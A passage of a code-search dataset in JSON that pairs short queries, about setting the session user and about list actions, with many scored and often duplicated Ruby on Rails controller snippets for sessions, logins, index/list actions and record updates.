"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "caef06c6f57079e61e9df3c8739e154e",
"score": "0.53226525",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "caef06c6f57079e61e9df3c8739e154e",
"score": "0.53226525",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "caef06c6f57079e61e9df3c8739e154e",
"score": "0.53226525",
"text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
0afc24ab6f36a4bd6de80811ca387483
|
Private If a :user_id exists in the session hash, sets the
|
[
{
"docid": "fdbab08cfaad8f78cafde4c7e21cb14f",
"score": "0.68008006",
"text": "def set_curr_user\n if session[:user_id] != nil\n @curr_user = User.find( session[:user_id] )\n end\n end",
"title": ""
}
] |
[
{
"docid": "c7f670f2b03c6064a9de1d257d7f95e8",
"score": "0.8006146",
"text": "def session_user_set(user)\n session[:user_id] = user ? user.id : nil\n user\n end",
"title": ""
},
{
"docid": "e1e154e0f0e4bd94628b6dee5eeb1542",
"score": "0.771429",
"text": "def set_session(user)\n session[:user_id] = user.id \n end",
"title": ""
},
{
"docid": "fd37dad1c29d3d5260e5472340dd86fe",
"score": "0.7686016",
"text": "def set_user_session(user)\n\t\tsession[:user_id] = user.id\n\tend",
"title": ""
},
{
"docid": "019392afe6e2c9a193002a14ed0afcfa",
"score": "0.7604683",
"text": "def set_session(user)\n session[:id] = user.id\n end",
"title": ""
},
{
"docid": "2fd39eb8e5e20af7e79e7f5072fc1d2d",
"score": "0.7514418",
"text": "def setup_session(user_id)\n session[:user_id] = user_id\n end",
"title": ""
},
{
"docid": "c84db07d12586a7fdfea10dd96962a59",
"score": "0.744486",
"text": "def set_user_session(user)\n session[:logged_in_users_id] = user.id\n end",
"title": ""
},
{
"docid": "762de9045683091fdc36f39396fe82b6",
"score": "0.7433162",
"text": "def set_user(user)\n\t\tif user.is_a? User\n\t\t\tsession[:user_id] = user.id\n\t\telse\n\t\t\tsession[:user_id] = nil\n\t\tend\n\tend",
"title": ""
},
{
"docid": "8e6a97dae3b7d9486116a08cd3d68f25",
"score": "0.7394105",
"text": "def set_session\n session[:id] = @user.id\n end",
"title": ""
},
{
"docid": "264c82a248b2c1c56f5db82af19c5e21",
"score": "0.7389739",
"text": "def set_current_user\n if User.exists?(session[:userid]) # If there is a user_id currently stored in the session hash...\n @current_user = User.find(session[:userid]) # ...find and save that user in @current_user\n else\n @current_user = nil # ...otherwise, set @current_user to nil\n end\nend",
"title": ""
},
{
"docid": "5a28515e2bc33062c8380b4bcc6e67d6",
"score": "0.7377336",
"text": "def user=(user)\n session[:user_id] = user ? user.id : nil\n end",
"title": ""
},
{
"docid": "d9dcfd5f62e495eb012f2c074a53d1f2",
"score": "0.7325391",
"text": "def init_user_session(user)\n session[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "d9dcfd5f62e495eb012f2c074a53d1f2",
"score": "0.7325391",
"text": "def init_user_session(user)\n session[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "ce09ce7623cab131da03cc785d3ccb75",
"score": "0.7302652",
"text": "def set_user\n UserInfo.current_user_id = session[:user_id]\n end",
"title": ""
},
{
"docid": "239b921118f3ddc622ae2685ba74acd9",
"score": "0.72896457",
"text": "def set_user_session\n @user_session = UserSession.find(params[:id])\n end",
"title": ""
},
{
"docid": "239b921118f3ddc622ae2685ba74acd9",
"score": "0.72896457",
"text": "def set_user_session\n @user_session = UserSession.find(params[:id])\n end",
"title": ""
},
{
"docid": "239b921118f3ddc622ae2685ba74acd9",
"score": "0.72896457",
"text": "def set_user_session\n @user_session = UserSession.find(params[:id])\n end",
"title": ""
},
{
"docid": "239b921118f3ddc622ae2685ba74acd9",
"score": "0.72896457",
"text": "def set_user_session\n @user_session = UserSession.find(params[:id])\n end",
"title": ""
},
{
"docid": "c9282bcdc90cbb4775f118ba787858f5",
"score": "0.7253535",
"text": "def set_usersession\n @usersession = Usersession.find(params[:id])\n end",
"title": ""
},
{
"docid": "dec813d4ee55b0ce7a59b34c0f3bd7cb",
"score": "0.7238012",
"text": "def set_user_session\n @user_session = UserSession.find(params[:id])\n end",
"title": ""
},
{
"docid": "fc74206727401c1ddec263b0c329d1f2",
"score": "0.7199755",
"text": "def set_session(user)\n @request.session[Rack::Casual.session_key] = user.id if user\n end",
"title": ""
},
{
"docid": "b27a2b814b8067915bb7825db410aaf9",
"score": "0.71850306",
"text": "def set_user\n @user = session[:user_id]\n if @user.blank?\n session.clear\n end\n end",
"title": ""
},
{
"docid": "4dcd5e2803dcb03dca8fe52c32b17c19",
"score": "0.7133907",
"text": "def set_user_id_to_session(id)\n session[:login_user_id] = id\n end",
"title": ""
},
{
"docid": "dae99e24e85a1aaae50ab3681ecea657",
"score": "0.7126999",
"text": "def set_user_in_session(user)\n if user.nil?\n #Clear out session\n session[:logged_in_user_id] = nil\n set_user_preferences_in_session(nil, nil, nil)\n else\n #Set up session\n session[:logged_in_user_id] = user.id\n set_user_preferences_in_session(user.paging_preference, \n user.article_view_preference, \n user.non_junk_only_preference)\n end\n end",
"title": ""
},
{
"docid": "9f8289b0f1b4b133fd629b18c4e440c7",
"score": "0.71172845",
"text": "def set_user_if_available \n if session_id\n @user = User.find(session_id)\n else\n @user = User.new\n end\n end",
"title": ""
},
{
"docid": "575e00e4831cbf0c81089b986ea04510",
"score": "0.7058825",
"text": "def log_in_user_session_only(user_id)\n session[USER_SESSION_KEY] = user_id\n end",
"title": ""
},
{
"docid": "304ec5c8da809e3de75580bfbe18636e",
"score": "0.7000275",
"text": "def set_user\n write_attribute(:user_id, UserSession.current_user.id)\n end",
"title": ""
},
{
"docid": "77cac201efd583d1b222a91cfb96c1a0",
"score": "0.6992178",
"text": "def set_user\n @user = User.find(params[:id])\n if session[:user_id] != @user.id\n reset_session\n redirect_to '/'\n end\n end",
"title": ""
},
{
"docid": "8923410a1c67405458f2ff6c6e534365",
"score": "0.6979391",
"text": "def set_user_id\n @user_id = cookies.encrypted[:current_user] ||= session.id.to_s\n end",
"title": ""
},
{
"docid": "61cfed0ebefeaeff3f27c79c11801154",
"score": "0.6979226",
"text": "def session_user=(user)\n @session_user = user\n session[:user_id] = (user and user.id)\n end",
"title": ""
},
{
"docid": "96214752906353b182ca0abdc0626b34",
"score": "0.6974169",
"text": "def set_user\n @set_user ||= session[:current_user_id] && User.find_by(id: session[:current_user_id])\n end",
"title": ""
},
{
"docid": "b429ef9254cc72e5357b5ef1238fe82d",
"score": "0.6973117",
"text": "def set_user\n unless session[:user_id].nil?\n @user = User.find(session[:user_id])\n end\n end",
"title": ""
},
{
"docid": "96214752906353b182ca0abdc0626b34",
"score": "0.69727427",
"text": "def set_user\n @set_user ||= session[:current_user_id] && User.find_by(id: session[:current_user_id])\n end",
"title": ""
},
{
"docid": "10b3ce88020956f73c40dc498493e7b4",
"score": "0.69447434",
"text": "def set_session_check\n\t\t\n\t\t# check the session\n\t\tif session[:id]\n\t\t\t# if exists no thing to do\n\t\telse\n\t\t\t# check whether user is logged in or not\n\t\t\tif not current_user.nil?\n\t\t\t\t# if there is some value in current_user\n\t\t\t\t# then set them to session\n\t\t\t\tsession[:id] = current_user.id\n\t\t\t\tsession[:user_type] = current_user.user_type\n\t\t\t\tsession[:login_id] = current_user.login_id\n\t\t\t\tsession[:first_name] = current_user.first_name\n\t\t\t\tsession[:last_name] = current_user.last_name\n\t\t\tend\n\t\t\t\n\t\tend\n\t\t\n\tend",
"title": ""
},
{
"docid": "51ae13794b8e59f9b8d9ad24a26a363e",
"score": "0.6916926",
"text": "def set_user\n @user = User.find_by_id(params[:id])\n if !@user\n @user = User.find_by_id(session[:userid])\n end\n end",
"title": ""
},
{
"docid": "eddfd10d0a10143aa12dfafd943fc1dc",
"score": "0.68811595",
"text": "def set_user(user)\n session[:user] = user\n end",
"title": ""
},
{
"docid": "80c3389d903d674f422ca1b34856d069",
"score": "0.68756264",
"text": "def set_user\n User.clear_current_user # for testing only\n\n session[\"user\"] = User.authentication_service.get_user_session(params[:id])\n head :ok\n end",
"title": ""
},
{
"docid": "80c3389d903d674f422ca1b34856d069",
"score": "0.68756264",
"text": "def set_user\n User.clear_current_user # for testing only\n\n session[\"user\"] = User.authentication_service.get_user_session(params[:id])\n head :ok\n end",
"title": ""
},
{
"docid": "1849b9cc66ff913b01c8dca37e9bb51e",
"score": "0.6870242",
"text": "def current_user=(user)\n session[:user_id] = user.try(:id)\n end",
"title": ""
},
{
"docid": "aaeeb8cbdd04309a6eb04a2f2dd80b5e",
"score": "0.68577015",
"text": "def update\n if @user.update(user_params)\n session[:userdata] = @user if session[:userdata]['id'].to_i == @user.id\n show_response(true, @user)\n else\n show_response(false, @user)\n end\n end",
"title": ""
},
{
"docid": "a4ee2b3fc821804039e402aeeaf62925",
"score": "0.6855686",
"text": "def session_auth=(user); end",
"title": ""
},
{
"docid": "1434006601ba908cedd3aee50184706f",
"score": "0.6854997",
"text": "def check_for_user\n \n @user = nil\n user_id = session[:user_id]\n @user = User.find_by_id(user_id) if user_id\n end",
"title": ""
},
{
"docid": "5ee46d40d0f9f3697c127e168cde4c93",
"score": "0.68486536",
"text": "def set_user\n @user = User.find(session[:user_id])\n end",
"title": ""
},
{
"docid": "5ee46d40d0f9f3697c127e168cde4c93",
"score": "0.68472356",
"text": "def set_user\n @user = User.find(session[:user_id])\n end",
"title": ""
},
{
"docid": "593f4159d04e799fa0fe27b768e76d1f",
"score": "0.6845592",
"text": "def set_user_id\n @user_id = current_user[\"id\"]\n end",
"title": ""
},
{
"docid": "7ea36c251818fc663238df2272bdb5c2",
"score": "0.6840803",
"text": "def set_user\n @user = User.find_by_id payload['user_id']\n logger.info \"Found user? #{!@user.nil?}. id: #{payload['user_id']}\"\n end",
"title": ""
},
{
"docid": "7844ca0afa19c8ecefd6f7e2e47d0e17",
"score": "0.68155676",
"text": "def set_user\n @user = User.custom_find(params[:id])\n return if @user.present?\n\n user_key = params[:id].downcase.to_sym\n user_id = User::SPECIAL_USER_MAPPINGS[user_key]\n return unless user_id.present?\n\n redirect_to id: user_id\n end",
"title": ""
},
{
"docid": "85567671446668be09773b5d631ea908",
"score": "0.68147665",
"text": "def set_instance_variables\n if session[:user_id]\n @logged_in_user = User.find(session[:user_id])\n end\n end",
"title": ""
},
{
"docid": "f7410f8091227f8de66c436882bec399",
"score": "0.6805737",
"text": "def current_user=(user)\n session[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "f7410f8091227f8de66c436882bec399",
"score": "0.6805737",
"text": "def current_user=(user)\n session[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "f7410f8091227f8de66c436882bec399",
"score": "0.6805737",
"text": "def current_user=(user)\n session[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "f7410f8091227f8de66c436882bec399",
"score": "0.6805737",
"text": "def current_user=(user)\n session[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "f7410f8091227f8de66c436882bec399",
"score": "0.6805737",
"text": "def current_user=(user)\n session[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "07cd9f80ec93ddfd79a46a882e3b7b8c",
"score": "0.67795134",
"text": "def add_session(user_id)\n session[:current_user_id] = user_id\n end",
"title": ""
},
{
"docid": "ce708d82fd1869c7163a55a4956f1e66",
"score": "0.67789763",
"text": "def smerf_user_id=(id)\n session[:smerf_user_id] = id\n end",
"title": ""
},
{
"docid": "ce708d82fd1869c7163a55a4956f1e66",
"score": "0.67789763",
"text": "def smerf_user_id=(id)\n session[:smerf_user_id] = id\n end",
"title": ""
},
{
"docid": "2e8bb64e9be574a7ef30e5a57e4fe2f3",
"score": "0.6778346",
"text": "def set_user\n User.before_set_user # for testing only\n\n session[\"user\"] = User.authentication_service.get_user_session(params[:id])\n render nothing: true, status: 200\n end",
"title": ""
},
{
"docid": "f051c2a0a5f12bd3825e438d05414f60",
"score": "0.67652875",
"text": "def set_user\n # session[:current_user_id] = User.all.first.id\n @user = User.find_by(id: session[:current_user_id])\n end",
"title": ""
},
{
"docid": "dc27540099fc3d0eb369e3fdd9160a11",
"score": "0.67606264",
"text": "def current_user=(new_user)\n session[:user_id] = new_user ? new_user.id : nil\n end",
"title": ""
},
{
"docid": "136557c6533c02e297aeeb7f4270d3fa",
"score": "0.6756497",
"text": "def set_user\n @user = User.find(session[:user_id])\n end",
"title": ""
},
{
"docid": "bd0dbbdad545c449948b66ce88af76b4",
"score": "0.6746974",
"text": "def set_user\n @user = User.find(id: session[:user_id])\n end",
"title": ""
},
{
"docid": "b8b112a316e39a7c85a3cd3211b62a5d",
"score": "0.67446315",
"text": "def set_user\n\t\tif params[:id] \n\t\t\t@user = User.find(params[:id])\n\t\telse\n\t\t\t@user = User.find(session[:user_id])\n\t\tend\n end",
"title": ""
},
{
"docid": "8996dd0a89c17905867843fa5ad401f0",
"score": "0.6740124",
"text": "def set_session_info\n Thread.current[:current_saison_id] = session[:current_saison_id]\n Thread.current[:user_id]= session[:user_id]\n end",
"title": ""
},
{
"docid": "eac317bd83f65e193c8640eec7a820ca",
"score": "0.672951",
"text": "def set_user_id\n cookies[:user_id] = current_user.id if current_user\n end",
"title": ""
},
{
"docid": "0fa73bf2f3809e000a51ce28301992a9",
"score": "0.6721568",
"text": "def set_user\n @user = User.find_by_hashed_id(params[:id])\n end",
"title": ""
},
{
"docid": "d066bd09179c1b2601a17985e05a0eb6",
"score": "0.67192894",
"text": "def set_user\n @user = User.find(session[:user_id])\n end",
"title": ""
},
{
"docid": "d066bd09179c1b2601a17985e05a0eb6",
"score": "0.67192894",
"text": "def set_user\n @user = User.find(session[:user_id])\n end",
"title": ""
},
{
"docid": "d066bd09179c1b2601a17985e05a0eb6",
"score": "0.67192894",
"text": "def set_user\n @user = User.find(session[:user_id])\n end",
"title": ""
},
{
"docid": "d066bd09179c1b2601a17985e05a0eb6",
"score": "0.67192894",
"text": "def set_user\n @user = User.find(session[:user_id])\n end",
"title": ""
},
{
"docid": "d066bd09179c1b2601a17985e05a0eb6",
"score": "0.67192894",
"text": "def set_user\n @user = User.find(session[:user_id])\n end",
"title": ""
},
{
"docid": "84ce93304642e2a25c7d34b04b80f952",
"score": "0.67147523",
"text": "def set_user_key\n @user_key = UserKey.find(params[:id])\n end",
"title": ""
},
{
"docid": "e4ca1c69e18d78827458940c04f9f0ce",
"score": "0.66963106",
"text": "def set_user\n if session[:usr]\n @user = User.find(session[:usr])\n else\n @user = User.find(params[:user_id]) #ユーザ登録時のバグ対策\n end\n end",
"title": ""
},
{
"docid": "02642d44bdec2c68b1f9b57c21e8346e",
"score": "0.66961634",
"text": "def alter_on_login\n if session[:user_id] != nil\n @user = User.find(session[:user_id])\n end\n end",
"title": ""
},
{
"docid": "9d7ed0141eb3eaaf926ccf4317f0d861",
"score": "0.6684779",
"text": "def log_in_user(user_id)\n session[:user_id] = user_id\n end",
"title": ""
},
{
"docid": "9d7ed0141eb3eaaf926ccf4317f0d861",
"score": "0.6684779",
"text": "def log_in_user(user_id)\n session[:user_id] = user_id\n end",
"title": ""
},
{
"docid": "99be59de66dd25d9fe7c8229853318b6",
"score": "0.6682667",
"text": "def set_user\n @user = User.find(params[:id])\n #@user = User.find(session[:usr])\n end",
"title": ""
},
{
"docid": "1c0067545f2d4c97293c818850490df3",
"score": "0.66743255",
"text": "def log_in?(user)\n session[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "aa4673a2810df94566c0d7362ec3ea16",
"score": "0.66645104",
"text": "def store_user_id(user)\n\t\t@id = user\n\tend",
"title": ""
},
{
"docid": "7f8d08ba2caf784aaad555bfe9ff9c11",
"score": "0.6649332",
"text": "def set_session\n @session = User.find(params[:id])\n end",
"title": ""
},
{
"docid": "32a6e560bf97b1e134b67561d47b1253",
"score": "0.6647241",
"text": "def set_user\n \n \n if User.exists?(id: params[:id])\n @user = User.find(params[:id])\n else\n # @user = nil\n @user = User.none\n end\n \n end",
"title": ""
},
{
"docid": "3da378b96280223385c9ec8772426f67",
"score": "0.664401",
"text": "def valid_session\n {\n :user_id => 1\n }\n end",
"title": ""
},
{
"docid": "22ef4d99714621398d09f3daf629106c",
"score": "0.6634993",
"text": "def login_session(user)\n\t \tsession[:user_id] = user.id\n\tend",
"title": ""
},
{
"docid": "562d66cbbd08cb01a45c47511499303a",
"score": "0.6632171",
"text": "def set_session_current_user(user)\n self.current_user = user\n # Try to reuse existing sessions.\n if session[:authpwn_suid]\n token = Tokens::SessionUid.with_code(session[:authpwn_suid]).first\n if token\n if token.user == user\n token.touch\n return user\n else\n token.destroy\n end\n end\n end\n if user\n session[:authpwn_suid] = Tokens::SessionUid.random_for(user,\n request.remote_ip, request.user_agent || 'N/A').suid\n else\n session.delete :authpwn_suid\n end\n end",
"title": ""
},
{
"docid": "c8c1067806f647b46f46c30bbf31f166",
"score": "0.6631594",
"text": "def set_user\n if session[:user_id]\n user = User.new\n @user = user.get_user(session[:user_id])\n else\n @user = User.new\n end\n end",
"title": ""
},
{
"docid": "6a23cb1cc5e399a532bee030c27ca653",
"score": "0.663151",
"text": "def logged_in(user_id = 1)\n @request.session[:user_id] = user_id\n end",
"title": ""
},
{
"docid": "2513ac3ef19bcfa3062999161ddd88b3",
"score": "0.6629154",
"text": "def set_user(user)\n if user\n @current_user = user\n session[:user_id] = user.id\n Time.zone = @current_user.time_zone\n return true\n end\n return false\n end",
"title": ""
},
{
"docid": "75e24d336d488e9d132bec7629dcbbf9",
"score": "0.66289765",
"text": "def log_in_user(user)\n session[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "20e69d68d850ac07b28fe84009978d07",
"score": "0.6627895",
"text": "def logged_in_user=(user) \n if !user.nil?\n session[:user] = user.id\n @logged_in_user = user \n end\n end",
"title": ""
},
{
"docid": "2c1be8f093a4581f0e2ffedf6307a4fb",
"score": "0.6624737",
"text": "def set_user\n if !session[:user_id]\n redirect_to root_path\n else \n @user = User.find_by(id: session[:user_id])\n if @user.nil?\n log_out\n redirect_to root_path\n end\n end\n end",
"title": ""
},
{
"docid": "6745436cd43cc3eab7edb3fa2e20469f",
"score": "0.6611975",
"text": "def log_in_user(user)\n\t\tsession[:user_id] = user.id\n\tend",
"title": ""
},
{
"docid": "a5357e23374627e5e958c8b103b0ee09",
"score": "0.66061914",
"text": "def user_log_in_as(user)\n session[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "a5357e23374627e5e958c8b103b0ee09",
"score": "0.66061914",
"text": "def user_log_in_as(user)\n session[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "b293467f554d3085c61be7c7340cbc8f",
"score": "0.66061604",
"text": "def set_user\n\t\t\t\t\tid=params[:user_id]||params[:id]\n\t\t \t@user =(id ? User.find_by_id_or_hruid_or_uuid(id) : current_user)\n\t\t end",
"title": ""
},
{
"docid": "38d22c39104a698c7326814075b235e5",
"score": "0.6605303",
"text": "def log_in( user )\n session[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "ae7afd6d5e95cc47248ec5214c5d5f50",
"score": "0.6601569",
"text": "def logged_in_as(user)\n \tsession[:user_id] = user.id\n end",
"title": ""
},
{
"docid": "de5bc77525d1aa12736c8d1f0da1818c",
"score": "0.65862685",
"text": "def current_user=(user)\n session[:uid] = (user.blank? || !user.kind_of?(User)) ? nil : user.id\n end",
"title": ""
},
{
"docid": "ab62f93632c9acaa2ec541184a090ca1",
"score": "0.65805393",
"text": "def set_user\n @user = User.find(session[:logged_user_id])\n end",
"title": ""
},
{
"docid": "ab62f93632c9acaa2ec541184a090ca1",
"score": "0.65805393",
"text": "def set_user\n @user = User.find(session[:logged_user_id])\n end",
"title": ""
},
{
"docid": "e6e9d1e79582e164ee38bc3f8782f5b1",
"score": "0.65751797",
"text": "def set_user\n @user = User.find(cookies[:user_id] || params[:user_id])\n end",
"title": ""
},
{
"docid": "002a5e5a08145e7c7bb7802b225ee15f",
"score": "0.656932",
"text": "def login!(session)\n session[:user_id] = self.id\n end",
"title": ""
},
{
"docid": "2ab3af0c3bb097a11e5f8208975d4c1b",
"score": "0.6569266",
"text": "def log_in(user)\n session[:user_id] = user.id\n end",
"title": ""
}
] |
229bbdc2c3dff3e06dba6b5f0bc034e9
|
action associated with the list app
|
[
{
"docid": "d073c7ac1b54e93aeb8430501c488b1c",
"score": "0.0",
"text": "def app\n @group = Group.find_by_code(code_param)\n @user_count = @group.users.count\n end",
"title": ""
}
] |
[
{
"docid": "d29c3ab3483eddaf6561e14af86651ce",
"score": "0.72033125",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "4cb3796a1ee8e1728f65e7e9f3b2340c",
"score": "0.71529657",
"text": "def index\n list\n render action: 'list'\n end",
"title": ""
},
{
"docid": "6fe8b01d75fd39628845fc04e4ecc129",
"score": "0.7115852",
"text": "def index\n @action_lists = ActionList.all\n end",
"title": ""
},
{
"docid": "740cd5be42e5018f3f71d944fd54ef3d",
"score": "0.70796055",
"text": "def index\n list\n render(:action => 'list')\n end",
"title": ""
},
{
"docid": "740cd5be42e5018f3f71d944fd54ef3d",
"score": "0.70796055",
"text": "def index\n list\n render(:action => 'list')\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "90678624bc43ffdc99dd0666b15fef7c",
"score": "0.70393234",
"text": "def index\n list\n render :action => 'list'\n end",
"title": ""
},
{
"docid": "ff8621c3ce4457423e2f4aac7619500a",
"score": "0.7024905",
"text": "def index\n\t\tlist\n\t\trender :action => 'list'\n end",
"title": ""
},
{
"docid": "b281d68ed332edd7099359ea3c7b8b63",
"score": "0.7014857",
"text": "def action_list\n @action_list ||= trigger(command: \"list sdk --all\", print_command_output: false)\n end",
"title": ""
},
{
"docid": "b679856fcb420ce835bdc7bc8d474aeb",
"score": "0.6973565",
"text": "def listAction(opts, data, config) \n \n view_name = 'list_view'\n \n self.output(data, config, view_name) { | view_name |\n tpl = loadTpl(view_name)\n }\n \n end",
"title": ""
},
{
"docid": "a9bb6dd1e60084a9fa307e0974557d83",
"score": "0.68952405",
"text": "def applist\n do_request 'applist'\n end",
"title": ""
},
{
"docid": "9ac0cefad599721680758363a4a45762",
"score": "0.687899",
"text": "def index \n list\n render :action => \"list\"\n end",
"title": ""
},
{
"docid": "753944d1f9d0363a93ec41e8d19fbe4f",
"score": "0.68471867",
"text": "def listaction(value)\n _listaction(value) or fail ArgumentError, \"Unknown value for listaction: #{value}\"\n end",
"title": ""
},
{
"docid": "f1f3412b5d00e34637c6626472814ac8",
"score": "0.6836015",
"text": "def list\n List.from_response client.get(\"/actions/#{id}/list\")\n end",
"title": ""
},
{
"docid": "f1f3412b5d00e34637c6626472814ac8",
"score": "0.6836015",
"text": "def list\n List.from_response client.get(\"/actions/#{id}/list\")\n end",
"title": ""
},
{
"docid": "daa988e72c7d115f885281b04116b332",
"score": "0.6736841",
"text": "def list\n\t\trender\n\tend",
"title": ""
},
{
"docid": "757090da884e9d942605569eb9bfb859",
"score": "0.6709348",
"text": "def list\n client.get(\"/actions/#{id}/list\").json_into(List)\n end",
"title": ""
},
{
"docid": "700fb0cfcd236239906721e24d897692",
"score": "0.6654608",
"text": "def index\n @app_lists = AppList.all\n end",
"title": ""
},
{
"docid": "4e3b3a2387f9d5cead3a7cffec9921e0",
"score": "0.6637739",
"text": "def index\n redirect_to :action => \"list\"\n end",
"title": ""
},
{
"docid": "98fb0f66d5b8e621ee62a047ad22ada2",
"score": "0.6624002",
"text": "def list\n return @list if @list\n @list = Client.get(\"/actions/#{id}/list\").json_into(List)\n end",
"title": ""
},
{
"docid": "d597d537095e2c130b6d8dc22f8d4df6",
"score": "0.66147876",
"text": "def index\n redirect_to :action => 'list'\n end",
"title": ""
},
{
"docid": "2b570d29a09ee5e7c109389c667b9cb9",
"score": "0.6606137",
"text": "def index\n @applists = current_user.applists\n end",
"title": ""
},
{
"docid": "b7944580f9bc131be209caf1f0c530a7",
"score": "0.659964",
"text": "def index\n list\n render('list')\n end",
"title": ""
},
{
"docid": "7239f02d9c7622668ae2cfe5cdd4b658",
"score": "0.6593323",
"text": "def index\n redirect_to :action => 'list'\n end",
"title": ""
},
{
"docid": "7239f02d9c7622668ae2cfe5cdd4b658",
"score": "0.6593323",
"text": "def index\n redirect_to :action => 'list'\n end",
"title": ""
},
{
"docid": "7239f02d9c7622668ae2cfe5cdd4b658",
"score": "0.6593323",
"text": "def index\n redirect_to :action => 'list'\n end",
"title": ""
},
{
"docid": "0cd001eef4834c64e6d6db58ffa9b64e",
"score": "0.6590475",
"text": "def list\n\n end",
"title": ""
},
{
"docid": "767871797c7e1daf2479b6ced9242e61",
"score": "0.65813583",
"text": "def index\n list #call the action\n render('list') #render the correct template not 'index'\n end",
"title": ""
},
{
"docid": "767871797c7e1daf2479b6ced9242e61",
"score": "0.65813583",
"text": "def index\n list #call the action\n render('list') #render the correct template not 'index'\n end",
"title": ""
},
{
"docid": "0419a099e5bf58ffd4e9dd4424113363",
"score": "0.6573052",
"text": "def index\n Log.add_info(request, params.inspect)\n\n list\n render(:action => 'list')\n end",
"title": ""
},
{
"docid": "90b8f92f3a463992f82108ab5dada5f6",
"score": "0.6553782",
"text": "def index\n redirect_to :action => 'list'\n end",
"title": ""
},
{
"docid": "90b8f92f3a463992f82108ab5dada5f6",
"score": "0.6553782",
"text": "def index\n redirect_to :action => 'list'\n end",
"title": ""
},
{
"docid": "561e23af98895e5d84626d4a94805b79",
"score": "0.65334195",
"text": "def index\n @action_items = ActionItem.all\n end",
"title": ""
},
{
"docid": "cab7f9d4b3ba18cddbb38aa8b3ae49d0",
"score": "0.65053195",
"text": "def index\n @todo_app_lists = current_user.todo_app_lists\n end",
"title": ""
},
{
"docid": "fe2260e58fed2c419b10cc7fb157a4a2",
"score": "0.6483269",
"text": "def index\n \tlist\n \trender('list')\n end",
"title": ""
},
{
"docid": "d35162284038605248feaa84305253df",
"score": "0.6482821",
"text": "def set_action_list\n @action_list = ActionList.find(params[:id])\n end",
"title": ""
},
{
"docid": "e8acd08a01c8b0bfcc0d73921d6601a0",
"score": "0.6480872",
"text": "def show_list_page?\n action_name == \"show_list\"\n end",
"title": ""
},
{
"docid": "e8acd08a01c8b0bfcc0d73921d6601a0",
"score": "0.6480872",
"text": "def show_list_page?\n action_name == \"show_list\"\n end",
"title": ""
},
{
"docid": "83fc05d9c53bc7827e32472e51b45fa0",
"score": "0.6474348",
"text": "def link_action_index(url_options = {:action => 'index', :returning => true})\n link_action 'List', 'list', url_options\n end",
"title": ""
},
{
"docid": "25f1010030fa070925b32a9d8816acad",
"score": "0.6449608",
"text": "def index\n @list_items = ListItem.all\n end",
"title": ""
},
{
"docid": "544f8fa3abccb1cf5b79797b29fc658e",
"score": "0.6449551",
"text": "def index\n list\n render('list')\n end",
"title": ""
},
{
"docid": "544f8fa3abccb1cf5b79797b29fc658e",
"score": "0.6449551",
"text": "def index\n list\n render('list')\n end",
"title": ""
},
{
"docid": "544f8fa3abccb1cf5b79797b29fc658e",
"score": "0.6449551",
